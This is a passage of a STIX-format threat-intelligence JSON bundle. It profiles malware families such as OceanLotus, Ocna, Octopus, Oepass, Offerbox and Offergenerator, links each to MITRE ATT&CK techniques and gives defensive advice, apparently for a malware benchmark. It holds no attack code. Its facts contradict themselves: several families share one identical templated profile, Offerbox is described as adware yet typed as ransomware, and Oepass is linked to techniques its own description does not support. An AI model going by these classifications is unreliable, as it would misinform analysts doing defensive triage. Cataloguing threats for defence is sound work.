Broad Compromise:</strong> Due to the advanced nature of the threat actor, incident responders must assume that initial access on a single endpoint has already resulted in lateral movement and credential theft across the Active Directory environment.</li>\n<li><strong>Hunt for Anomalies (EDR):</strong> Traditional AV is insufficient. Responders must utilize EDR telemetry to hunt for specific OceanLotus behaviors: anomalous PowerShell execution, `mshta.exe` abuse, unauthorized scheduled tasks, and C2 beacons to cloud infrastructure.</li>\n<li><strong>Coordinated Eviction:</strong> Eradication requires a highly coordinated, enterprise-wide effort to simultaneously sever C2 channels, reset all domain credentials, and rebuild compromised infrastructure to prevent the actor from re-establishing persistence.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT32",
        "Canvas Assassin",
        "SeaLotus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oceanlotus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oceanlotus"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c5f67ec-44d0-53d8-99c3-3eeaaaea0d96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90198a09-1c28-54e0-a764-694e2953818c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oceanlotus exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2f13a2c-4d9b-517b-97f9-44a3add8c400",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90198a09-1c28-54e0-a764-694e2953818c",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oceanlotus exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--189f8632-bf37-5350-9483-3d37e669182e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1132.001: Standard Data Encoding",
      "description": "MITRE ATT&CK Technique T1132.001 (Standard Data Encoding) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1132.001",
          "url": "https://attack.mitre.org/techniques/T1132/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbd21464-cf92-57f8-ba19-9e9bf9225507",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90198a09-1c28-54e0-a764-694e2953818c",
      "target_ref": "attack-pattern--189f8632-bf37-5350-9483-3d37e669182e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oceanlotus exhibits technique T1132.001 (Standard Data Encoding)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--957c8259-95c1-580c-bab6-2f53a7a23b31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90198a09-1c28-54e0-a764-694e2953818c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oceanlotus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0696f2d5-dfc3-5a14-95ec-eccd5e8f17d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ocna",
      "description": "Trojan:Win32/Ocna is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ocna</b><br>To an end-user, a Ocna infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ocna is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ocna is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ocna frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ocna reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ocna",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ocna"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bd19dea-634d-59d5-9771-9615eb3c4f0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0696f2d5-dfc3-5a14-95ec-eccd5e8f17d2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ocna exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f1622c6-4d4f-5ba4-abf1-3c02c68a4357",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0696f2d5-dfc3-5a14-95ec-eccd5e8f17d2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ocna exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9023e3e-458b-522d-af6f-e22d40707f8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0696f2d5-dfc3-5a14-95ec-eccd5e8f17d2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ocna exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6319350-4071-5816-ae83-05e598ae15f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0696f2d5-dfc3-5a14-95ec-eccd5e8f17d2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ocna exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dd05519-87c6-5d24-ab91-89fe99b7b9b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0696f2d5-dfc3-5a14-95ec-eccd5e8f17d2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ocna exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7faf7867-9c64-5636-9a53-42bdeddc8fe7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Octopus",
      "description": "Trojan:Win32/Octopus is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Octopus</b><br>To an end-user, an Octopus infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Octopus is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Octopus is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Octopus frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Octopus reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Octopus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/octopus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--486adfd9-aa67-570d-bf1c-a0b71a8b3e73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7faf7867-9c64-5636-9a53-42bdeddc8fe7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Octopus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9281ffc-79a5-5d05-b5d7-bcfff2ea33ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7faf7867-9c64-5636-9a53-42bdeddc8fe7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Octopus exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10ef93c1-66eb-5fb3-8d38-b817c66bcac7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7faf7867-9c64-5636-9a53-42bdeddc8fe7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Octopus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64fc2ae8-6f38-5d04-b57b-7fe1180553d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7faf7867-9c64-5636-9a53-42bdeddc8fe7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Octopus exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--806c32a7-8738-5bfa-9820-47ef844dcd07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7faf7867-9c64-5636-9a53-42bdeddc8fe7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Octopus exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b431ab49-350f-5493-a267-818804b884f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oepass",
      "description": "<h3>Executive Summary</h3>\nOEPass is a specialized Information Stealer and HackTool explicitly designed to target and extract saved passwords from Microsoft Outlook Express and Windows Mail. While Outlook Express is a legacy email client, OEPass remains a relevant threat in environments maintaining older infrastructure, and its underlying techniques have been incorporated into modern credential harvesters.\n\n<h3>Technical Architecture and Exploitation</h3>\nOEPass is typically distributed as a standalone utility, often dropped by a primary downloader Trojan or utilized directly by an attacker who has gained interactive access to a compromised host.\n\nIts core functionalities rely on exploiting the way legacy Windows systems stored credentials:\n<ul>\n<li><strong>Registry Extraction:</strong> OEPass queries specific registry keys associated with Outlook Express profiles (e.g., `HKCU\\Identities\\{Identity-ID}\\Software\\Microsoft\\Internet Account Manager\\Accounts`).</li>\n<li><strong>Protected Storage API:</strong> It interacts with the legacy Windows Protected Storage (PStore) API, extracting the encrypted email account credentials (POP3/SMTP/IMAP).</li>\n<li><strong>Decryption and Exfiltration:</strong> OEPass decrypts the stored passwords locally and formats them into a readable text file. Modern variants of the malware will then automatically exfiltrate this file to a remote command-and-control (C2) server via HTTP or FTP.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nThe successful execution of OEPass leads directly to email account compromise. Attackers utilize these stolen credentials to launch Business Email Compromise (BEC) attacks, distribute internal phishing emails, and access sensitive corporate communications.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Deprecate Legacy Software:</strong> The most effective defense against OEPass is the complete removal of unsupported, legacy email clients like Outlook Express from the corporate environment, migrating users to modern platforms (like Outlook 365) that utilize robust, centralized authentication (OAuth).</li>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Deploy EDR solutions tuned to alert on processes attempting to access sensitive PStore APIs or querying specific legacy registry keys associated with email profiles.</li>\n<li><strong>Credential Auditing:</strong> If OEPass is detected, mandate an immediate password reset for the affected user's email accounts, as the credentials must be considered fully compromised.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.OEPass",
        "PasswordStealer.OEPass",
        "Riskware.OEPass"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oepass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oepass"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07efc328-f25f-52a3-a8d4-ef9fc23519a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b431ab49-350f-5493-a267-818804b884f6",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oepass exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbd2568b-71a1-5776-9dff-cb19c3e3cba3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b431ab49-350f-5493-a267-818804b884f6",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oepass exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ef111b8-ce79-58ea-a250-644fd49da752",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b431ab49-350f-5493-a267-818804b884f6",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oepass exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97a07f01-ab41-53a3-97c1-9d3120179c28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Offend",
      "description": "Trojan:Win32/Offend is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Offend</b><br>To an end-user, an Offend infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Offend is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Offend is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Offend frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Offend reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Offend",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/offend"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71498399-04f4-5794-8f5a-8d714e81eefb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a07f01-ab41-53a3-97c1-9d3120179c28",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offend exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb86fa06-bf47-5661-abd9-c1c15e45e609",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a07f01-ab41-53a3-97c1-9d3120179c28",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offend exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00e5d9b0-d96c-5ecb-9234-1c13e375709c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a07f01-ab41-53a3-97c1-9d3120179c28",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offend exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45f4df0a-34cd-53e9-a9ef-50a8e4f967fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a07f01-ab41-53a3-97c1-9d3120179c28",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offend exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af36cb27-0ecd-5531-9041-0aeb8e8bf593",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a07f01-ab41-53a3-97c1-9d3120179c28",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offend exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e63d8b7a-8221-5859-90a5-678a05b7f914",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Offerbox",
      "description": "<h3>Executive Summary</h3>\nOfferbox (often detected as Adware.OfferBox or PUP.OfferBox) is a highly intrusive Adware application and Potentially Unwanted Program. It is designed to aggressive monetize a user's web browsing by injecting unsolicited \"offers,\" coupons, and banner advertisements directly into the DOM (Document Object Model) of legitimate websites visited by the user, severely degrading system performance and posing a privacy risk.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOfferbox is almost exclusively distributed via software bundling. It is frequently packaged with \"free\" software (like media converters, PDF readers, or download managers) found on third-party download portals. If the user fails to decline the \"optional offer\" during installation, Offerbox is silently installed alongside the intended application.\n\nUpon execution, it deeply integrates into the operating system and web browsers:\n<ul>\n<li><strong>Browser Extensions and BHOs:</strong> Offerbox installs malicious extensions or Browser Helper Objects (BHOs) into Google Chrome, Mozilla Firefox, and Internet Explorer. This allows it to monitor and manipulate all web traffic.</li>\n<li><strong>DOM Injection:</strong> The core functionality is ad injection. When a user visits a shopping site (like Amazon or eBay), Offerbox intercepts the page rendering and injects its own \"comparison shopping\" widgets, pop-ups, and highlighted keyword ads directly into the site's layout.</li>\n<li><strong>Data Tracking:</strong> To serve targeted ads, the adware tracks the user's browsing history, search queries, and geographical location, often transmitting this data to third-party marketing servers without clear consent.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Offerbox is not inherently destructive like ransomware, it is highly undesirable. The constant ad injection consumes significant system resources, leading to browser crashes and slow page load times. Furthermore, the injected advertisements often lead to deceptive technical support scams or \"malvertising\" networks that distribute severe malware.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Uninstallation:</strong> The primary remediation step is to locate and uninstall \"Offerbox\" (or similarly named recent installations) via the Windows Control Panel (Programs and Features).</li>\n<li><strong>Browser Reset:</strong> Because adware fundamentally alters browser configurations, the most effective cleanup method is to perform a full reset of all installed web browsers to their factory defaults, which automatically removes malicious extensions and tracking cookies.</li>\n<li><strong>Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution to scan for and remove lingering registry keys (e.g., in `HKLM\\Software\\Offerbox`) and orphaned files left behind by the uninstaller.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.OfferBox",
        "PUP.OfferBox",
        "Win32/OfferBox"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Offerbox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/offerbox"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d07f731-945c-506b-827b-11013e593179",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e63d8b7a-8221-5859-90a5-678a05b7f914",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offerbox exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0508bc1a-41ee-5406-b94d-21bb2c389cd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e63d8b7a-8221-5859-90a5-678a05b7f914",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offerbox exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d451bdf6-1c0e-576e-a31a-96655f09d12e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e63d8b7a-8221-5859-90a5-678a05b7f914",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offerbox exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f9ee7ec3-96bb-5999-8f2f-8ab56f40b495",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Offergenerator",
      "description": "Adware:Win32/Offergenerator is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Offergenerator</b><br>To an end-user, Offergenerator manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Offergenerator is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Offergenerator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/offergenerator"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
